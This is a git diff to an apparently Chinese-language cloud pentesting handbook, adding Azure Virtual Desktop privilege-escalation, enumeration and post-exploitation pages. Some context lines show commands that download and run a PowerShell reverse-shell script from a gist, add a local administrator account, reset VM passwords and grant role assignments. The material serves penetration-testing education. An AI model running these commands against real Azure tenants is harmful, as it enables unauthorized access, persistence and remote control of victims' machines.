diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17ab8f63d..54f1ce76a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -454,7 +454,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -465,6 +465,7 @@ - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) - [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md) + - [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md) - [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md) - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md new file mode 100644 index 000000000..7ad8d7309 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -0,0 +1,21 @@ +# Az - VMs & Network Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## 虚拟桌面 + +有关虚拟桌面的更多信息,请查看以下页面: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + +### 常见技术 + +- 覆盖 **存储帐户中的 MSIX 包** 以在使用该应用的任何 VM 中获取 RCE。 +- 在 remoteapp 中,可以更改 **要执行的二进制文件的路径**。 +- **从应用程序逃逸** 到 shell 以获取 RCE。 +- 来自 **Azure VMs** 的任何后期利用攻击和持久性。 +- 可以 **配置脚本以在池中执行** 以应用自定义配置。 + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index 4648e7edf..57c0eb2cf 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -4,14 +4,24 @@ ## Azure Virtual Desktop Privesc +有关 Azure Virtual Desktop 的更多信息,请查看: + +{{#ref}} +../az-services/az-virtual-desktop.md +{{#endref}} + + ### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` 您可以检索用于在主机池中注册虚拟机的注册令牌。 ```bash az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1 ``` -### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write") +### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write -通过这些权限,您可以将用户分配添加到应用程序组,这对于访问虚拟桌面的虚拟机是必需的。 +> [!WARNING] +> 拥有这些权限的攻击者可以做比这更危险的事情。 + +拥有这些权限后,您可以将用户分配添加到应用程序组,这对于访问虚拟桌面的虚拟机是必需的: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments/?api-version=2022-04-01" \ @@ -22,12 +32,6 @@ az rest --method PUT \ } }' ``` -此外,您可以更改虚拟机的用户和密码以访问它。 -```bash -az vm user update \ ---resource-group \ ---name \ ---username \ ---password -``` +请注意,为了让用户能够访问桌面或应用程序,他还需要在虚拟机上拥有 `Virtual Machine User Login` 或 `Virtual Machine Administrator Login` 角色。 + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 6156bc9dd..68975a42f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMS & 网络 +## 虚拟机与网络 有关 Azure 虚拟机和网络的更多信息,请查看: @@ -76,7 +76,7 @@ az vm extension set \ --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \ --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}' ``` -您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` +您还可以执行其他有效载荷,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - 使用 VMAccess 扩展重置密码 ```bash @@ -163,11 +163,11 @@ Set-AzVMDscExtension ` ### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。 +这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可以利用这一点来妥协执行任意命令的 VM 实例。 最后两个权限可以通过与租户共享应用程序来避免。 -执行任意命令的利用示例: +利用示例以执行任意命令: {{#tabs }} {{#tab name="Linux" }} @@ -349,6 +349,16 @@ az vm identity assign \ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm {{#endref}} +### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write" + +这些权限允许更改虚拟机用户和密码以访问它: +```bash +az vm user update \ +--resource-group \ +--name \ +--username \ +--password +``` ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action 根据[**文档**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute),此权限允许您通过 Windows Admin Center 以管理员身份管理资源的操作系统。因此,这似乎允许访问 WAC 来控制虚拟机... diff --git a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md index 2af174ff0..0e912a086 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md +++ b/src/pentesting-cloud/azure-security/az-services/az-virtual-desktop.md @@ -4,61 +4,104 @@ ## Azure Virtual Desktop -Virtual Desktop 是一个 **桌面和应用虚拟化服务**。它使得能够远程交付完整的 Windows 桌面,包括 Windows 11、Windows 10 或 Windows Server,给用户提供单独的桌面或通过单独的应用程序。它支持个人使用的单会话设置和多会话环境。用户可以使用本地应用程序或网页浏览器从几乎任何设备连接。 +Virtual Desktop 是一个 **桌面和应用虚拟化服务**。它使得能够远程交付完整的 Windows 桌面,包括 Windows 11、Windows 10 或 Windows Server,给用户,既可以作为单独的桌面,也可以通过单独的应用程序。它支持个人使用的单会话设置和多会话环境。用户可以使用本地应用程序或网页浏览器从几乎任何设备连接。 ### Host Pools Azure Virtual Desktop 中的主机池是配置为会话主机的 Azure 虚拟机集合,为用户提供虚拟桌面和应用程序。主要有两种类型: -- **个人主机池**,每个虚拟机专用于单个用户,具有其环境 -- **共享主机池**,多个用户共享任何可用会话主机上的资源。它具有可配置的会话限制和会话主机配置,允许 Azure Virtual Desktop 根据配置自动创建会话主机 -每个主机池都有一个 **注册令牌**,用于在主机池内注册虚拟机。 +- **个人主机池**,每个虚拟机专用于单个用户。 +- 可以配置 **管理员可以分配** 特定用户到虚拟机,或者让这个过程 **自动化**。 +- 这对于工作负载密集型的用户是理想的,因为每个人将拥有自己的虚拟机。此外,他们将能够在操作系统磁盘中存储文件和配置设置,这些设置将保持不变,因为 **每个用户都有自己的虚拟机(主机)**。 -### Application groups & Workspace -应用程序组 **控制用户访问** 完整桌面或主机池内会话主机上可用的特定应用程序集。主要有两种类型: -- **桌面应用程序组**,允许用户访问完整的 Windows 桌面(在个人和共享主机池中均可用) -- **RemoteApp 组**,允许用户访问单个发布的应用程序(仅在共享主机池中可用)。 -一个主机池可以有一个桌面应用程序组,但可以有多个 RemoteApp 组。用户可以被分配到不同主机池中的多个应用程序组。如果用户在同一主机池中同时被分配到桌面和 RemoteApp 组,他们只会看到管理员设置的首选组类型的资源。 +- **共享主机池**,多个 **用户共享** 可用会话主机上的资源。 +- 可以配置每个主机的 **最大用户数**(会话)。 +- 可以使用注册密钥 **手动添加虚拟机**,或者 **允许 Azure 自动扩展** 主机的数量,而不需要使用注册密钥添加虚拟机。个人池的虚拟机无法自动扩展。 +- 要在用户会话中持久化文件,需要使用 **FSlogix**。 -一个 **工作区** 是一个 **应用程序组的集合**,允许用户访问分配给他们的桌面和应用程序组。每个应用程序组必须链接到一个工作区,并且一次只能属于一个工作区。 +### Session Hosts -### Key Features -- **灵活的 VM 创建**:直接创建 Azure 虚拟机或稍后添加 Azure 本地虚拟机。 -- **安全功能**:启用受信任启动(安全启动、vTPM、完整性监控)以增强 VM 安全性(需要虚拟网络)。可以集成 Azure 防火墙并通过网络安全组控制流量。 -- **域加入**:支持 Active Directory 域加入,具有可自定义的配置。 -- **诊断与监控**:启用诊断设置,将日志和指标流式传输到 Log Analytics、存储帐户或事件中心以进行监控。 -- **自定义映像模板**:创建和管理它们以在添加会话主机时使用。轻松添加常见自定义或您自己的自定义脚本。 -- **工作区注册**:轻松将默认桌面应用程序组注册到新的或现有的工作区,以简化用户访问管理。 +这些是 **用户将连接的虚拟机**。 + +- 如果选择了自动扩展,将创建一个包含 **主机特征** 的模板,以便为池创建所需的主机。 +- 如果没有,在创建主机池时可以指明 **虚拟机的特征和数量**,Azure 将为您创建并添加它们。 + +配置 **虚拟机** 的主要特征包括: + +- 新虚拟机的 **前缀** 名称 +- **虚拟机类型**:可以是“Azure 虚拟机”(使用 Azure 虚拟机)或“Azure 本地虚拟机”,允许主机在本地或边缘部署。 +- 位置、区域、虚拟机安全选项、镜像、CPU、内存、磁盘大小… +- 要暴露给互联网的 **VNet、安全组和端口** +- 可以设置凭据以自动 **加入 AD 域**,或使用 Entra ID 目录 +- 如果是 Entra ID,可以自动 **将新虚拟机注册到 Intune** +- 需要设置 **管理员用户名和密码**,除非 Azure 将扩展主机,在这种情况下必须配置一个 **包含用户名的密钥和另一个包含密码的密钥** +- 可以 **配置要执行的脚本** 以进行自定义配置 + +### Application Groups + +**应用程序组** 控制用户对完整桌面或主机池内会话主机上可用的特定应用程序集的访问。 + +有两种类型的应用程序组: + +- **桌面应用程序组**,为用户提供对完整 Windows 桌面和附加应用程序的访问。 +- **RemoteApp 组**,允许用户访问单个应用程序。 +- 不能将这种类型的应用程序组分配给个人池。 +- 需要指明在虚拟机内执行的二进制文件的路径。 + +一个共享池可以有 **一个桌面应用程序** 组和 **多个 RemoteApp 组**,用户可以被分配到不同主机池中的多个应用程序组。 + +当用户被 **授予访问权限** 时,将在应用程序组上赋予角色 **`Desktop Virtualization User`**。 + +### Workspaces & Connections + +**工作区** 是应用程序组的集合。 + +为了 **连接** 到分配的桌面或应用程序,可以从 [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices) 进行连接。 +还有其他方法在 [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client) 中描述。 + +当用户访问他的账户时,他将 **按工作区分隔展示他所访问的所有内容**。因此,需要将 **每个应用程序组添加到一个工作区**,以便定义的访问权限可见。 + +为了让用户能够访问桌面或应用程序,他还需要在虚拟机上拥有 **`Virtual Machine User Login`** 或 **`Virtual Machine Administrator Login`** 的角色。 + +### Managed Identities + +无法将托管身份分配给主机池,因此在池内创建的虚拟机将拥有它们。 +然而,可以 **将系统和用户托管身份分配给虚拟机**,然后从元数据中访问令牌。实际上,在从网页启动主机池后,生成的两个虚拟机已启用系统分配的托管身份(尽管它没有任何权限)。 ### Enumeration ```bash az extension add --name desktopvirtualization -# List HostPool of a Resource group -az desktopvirtualization hostpool list --resource-group +# List HostPools +az desktopvirtualization hostpool list + +# List Workspaces +az desktopvirtualization workspace list # List Application Groups -az desktopvirtualization applicationgroup list --resource-group -# List Application Groups By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03" +az desktopvirtualization applicationgroup list + # List Applications in a Application Group az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03" + +# Check if Desktops are enabled +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" + # List Assigned Users to the Application Group az rest \ --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.DesktopVirtualization/applicationGroups//providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \ | jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions//resourcegroups//providers/microsoft.desktopvirtualization/applicationgroups/")' +# List hosts +az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" -# List Workspace in a resource group -az desktopvirtualization workspace list --resource-group -# List Workspace in a subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03" - -# List App Attach Package By Resource Group +# List App Attach packages az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" -# List App Attach Package By Subscription -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03" + +# List user sessions +az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03" + # List Desktops az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03" @@ -68,35 +111,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip # List private endpoint connections associated with hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03" + # List private endpoint connections associated By Workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03" # List the private link resources available for a hostpool. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03" + # List the private link resources available for this workspace. az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03" - -# List sessionHosts/virtual machines. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03" - -# List start menu items in the given application group. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03" - -# List userSessions. -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03" -# List userSessions By Host Pool -az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03" - ``` -### 连接 +## 提权 -要通过网络连接到虚拟桌面,您可以通过 https://client.wvd.microsoft.com/arm/webclient/ (最常见)或 https://client.wvd.microsoft.com/webclient/index.html (经典)访问。 -还有其他方法在这里描述 [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows) - -## 权限提升 - -{{#ref}} -../az-privilege-escalation/az-virtual-desktop-privesc.md +{{#ref}} +../az-privilege-escalation/az-virtual-desktop-privesc.md {{#endref}} +## 后期利用与持久性 + +{{#ref}} +../az-post-exploitation/az-virtual-desktop-post-exploitation.md +{{#endref}} + + {{#include ../../../banners/hacktricks-training.md}}